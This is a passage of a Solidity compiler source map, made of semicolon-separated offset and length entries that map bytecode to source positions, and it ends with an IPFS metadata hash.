0272:64:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;50371:7:0;;50349:19;50371:7;;;:1;:7;;;;;;50411:21;;;;50389:109;;;;-1:-1:-1;;;50389:109:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;50513:7:0;;50523:1;50513:7;;;:1;:7;;;;;;:11;50509:79;;-1:-1:-1;;;;;50553:7:0;;;;;;:1;:7;;;;;;;;;50562:1;:7;;;;;;;50549:21;;50553:7;50549:3;:21::i;:::-;:26;50541:35;;;;;;50610:24;50614:11;50627:6;50610:3;:24::i;:::-;-1:-1:-1;;;;;50600:7:0;;;;;;;:1;:7;;;;;;:34;;;;50657:5;;;;;;;50653:18;;50664:6;50653:3;:18::i;:::-;-1:-1:-1;;;;;50645:5:0;;;;;;;:1;:5;;;;;;;;;:26;;;;50687;;;;;;;50645:5;;50687:26;;;;;;;;;;;;;50070:651;;;;:::o;55288:153::-;-1:-1:-1;;;;;55421:6:0;;55386:7;55421:6;;;:1;:6;;;;;;55413:20;;55429:3;55413:7;:20::i;:::-;55406:27;55288:153;-1:-1:-1;;;55288:153:0:o;61419:566::-;61953:24;61972:3;61953:10;:24::i;:::-;61560:1;:390;61903:2;61888:17;;;61718:115;-1:-1:-1;;;;;61560:390:0;;;;;;;;;;;;-1:-1:-1;61560:390:0;:417;-1:-1:-1;;61419:566:0:o;62841:474::-;63041:5;;62996:64;;;-1:-1:-1;;;62996:64:0;;-1:-1:-1;;;;;62996:64:0;;;;;;;63041:5;;;62996:64;;;;;;;;;;;;:28;;;;;;:64;;;;;;;;;;;;;;;63041:5;62996:28;:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;63093:5:0;;63076:42;;;;;;;;-1:-1:-1;;;;;63076:42:0;;;;63093:5;;63076:42;;;;;;62996:64;63076:42;;;63134:173;;;;;;63233:1;63134:173;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;63134:173:0;;;63153:42;;63134:173;;;;;;;;;62841:474;;;;:::o;57962:1111::-;58250:5;;58223:2;58208:17;;;58271:430;;;;:1;:430;;;;;;;;;;58080:632;;;;;;;-1:-1:-1;;;;;58250:5:0;;;;58080:632;;;;;;;;;;59040:25;59060:3;59040:11;:25::i;:::-;58752:1;:285;58990:2;58975:17;;;58793:201;;55090:190;55137:7;55158:10;55170;55186:5;;;;;;;;;-1:-1:-1;;;;;55186:5:0;-1:-1:-1;;;;;55186:17:0;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;55186:19:0;;;;;;;55224:5;;55186:19;55224:14;;-1:-1:-1;;;55224:14:0;;;;55186:19;;-1:-1:-1;55186:19:0;;-1:-1:-1;;;;;;55224:19:0;;;;:5;;;:12;;:14;;;;;55186:19;55224:14;;;;;;:5;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;55224:14:0;-1:-1:-1;;;;;55224:19:0;;55223:49;;55269:2;-1:-1:-1;;;;;55261:11:0;55223:49;;;55255:2;-1:-1:-1;;;;;55247:11:0;55223:49;55216:56;55090:190;-1:-1:-1;;;;55090:190:0:o;53237:202::-;53337:16;;;53351:1;53337:16;;;53275;53337;;;;;53275;;;53337;53351:1;53337:16;;;;;;;;;;-1:-1:-1;53337:16:0;53333:20;;53379:4;53364:1;53366;53364:4;;;;;;;;-1:-1:-1;;;;;53364:20:0;;;:4;;;;;;;;;;:20;;;;53402:3;;:10;;;-1:-1:-1;;;53402:10:0;;;;:3;;;;;:8;;:10;;;;;53364:4;;53402:10;;;;;:3;:10;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;53402:10:0;53395:4;;:1;;53397;;53395:4;;;;;;-1:-1:-1;;;;;53395:17:0;;;:4;;;;;;;;;;;:17;53430:1;-1:-1:-1;53237:202:0;:::o;62241:592::-;62447:16;;;62461:1;62447:16;;;62406:22;62447:16;;;;;62340:7;;62406:22;;62447:16;62461:1;62447:16;;;;;;;;;;-1:-1:-1;62447:16:0;62439:24;;62506:16;62511:7;62520:1;62506:4;:16::i;:::-;62498:24;;62772:5;62778:1;62772:8;;;;;;;;;;;;;;62533:1;:235;62575:1;62549:15;:28;:63;;;-1:-1:-1;62606:1:0;62549:63;:112;;;-1:-1:-1;62646:15:0;62641:1;62633:28;62549:112;:208;;62754:1;62549:208;;;62714:2;62705:4;:2;:4::i;:::-;62697:19;;62549:208;-1:-1:-1;;;;;62533:235:0;;;;;;;;;;;;-1:-1:-1;62533:235:0;;;:247;;;;;;;;62817:8;;:5;;-1:-1:-1;62817:8:0;;;;;;;;;;62810:15;;;62241:592;;;;:::o;53856:288::-;54065:4;54055:16;;;;:1;:16;;;;;;;;;54022:1;:16;;;;;54047:3;;-1:-1:-1;;;;;54047:3:0;54022:30;;;;;;;;:49;54082:54;54096:14;54112:8;54122:4;54128:7;54082:13;:54::i;47729:221::-;47789:7;47852;;;47878:9;;;;47870:49;;;;;-1:-1:-1;;;47870:49:0;;;;;;;;;;;;;;;;;;;;;;;;;;;48149:194;48209:7;48243:2;48237;:8;;48229:51;;;;;-1:-1:-1;;;48229:51:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;48305:7:0;;;48149:194::o;47381:106::-;47445:7;47477:2;47472;:7;;;;;;;47381:106;-1:-1:-1;;;47381:106:0:o;47624:97::-;47711:2;47706:7;;47624:97::o;47495:121::-;47595:12;47579:11;;;47578:30;;47495:121::o;55454:163::-;55585:3;;:24;;;-1:-1:-1;;;55585:24:0;;;;;;;;;;;;;;;;;;;;;;55549:16;;-1:-1:-1;;;;;55585:3:0;;:16;;55602:3;;55607:1;;55585:24;;;;;;;;;;;;;;;:3;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;55585:24:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;55585:24:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;55585:24:0;;;;;;;;;;;;-1:-1:-1;55585:24:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;55578:31;;55454:163;;;;:::o;48461:118::-;48557:4;48568:2;48533:37;48461:118;:::o;53447:399::-;53616:3;;;;;;;;;-1:-1:-1;;;;;53616:3:0;-1:-1:-1;;;;;53616:28:0;;53685:9;53709:13;53763:5;53783:7;53805:15;53823:4;53805:22;53616:222;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;53616:222:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;53616:222:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;53616:222:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;53616:222:0;;;;;;;;;;;;-1:-1:-1;53616:222:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;53447:399;;;;:::o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;

ipfs://6bbc12808f335578df4c9a3953b09b68d1792b86b0c4e42d4ac04db9db1bb4b5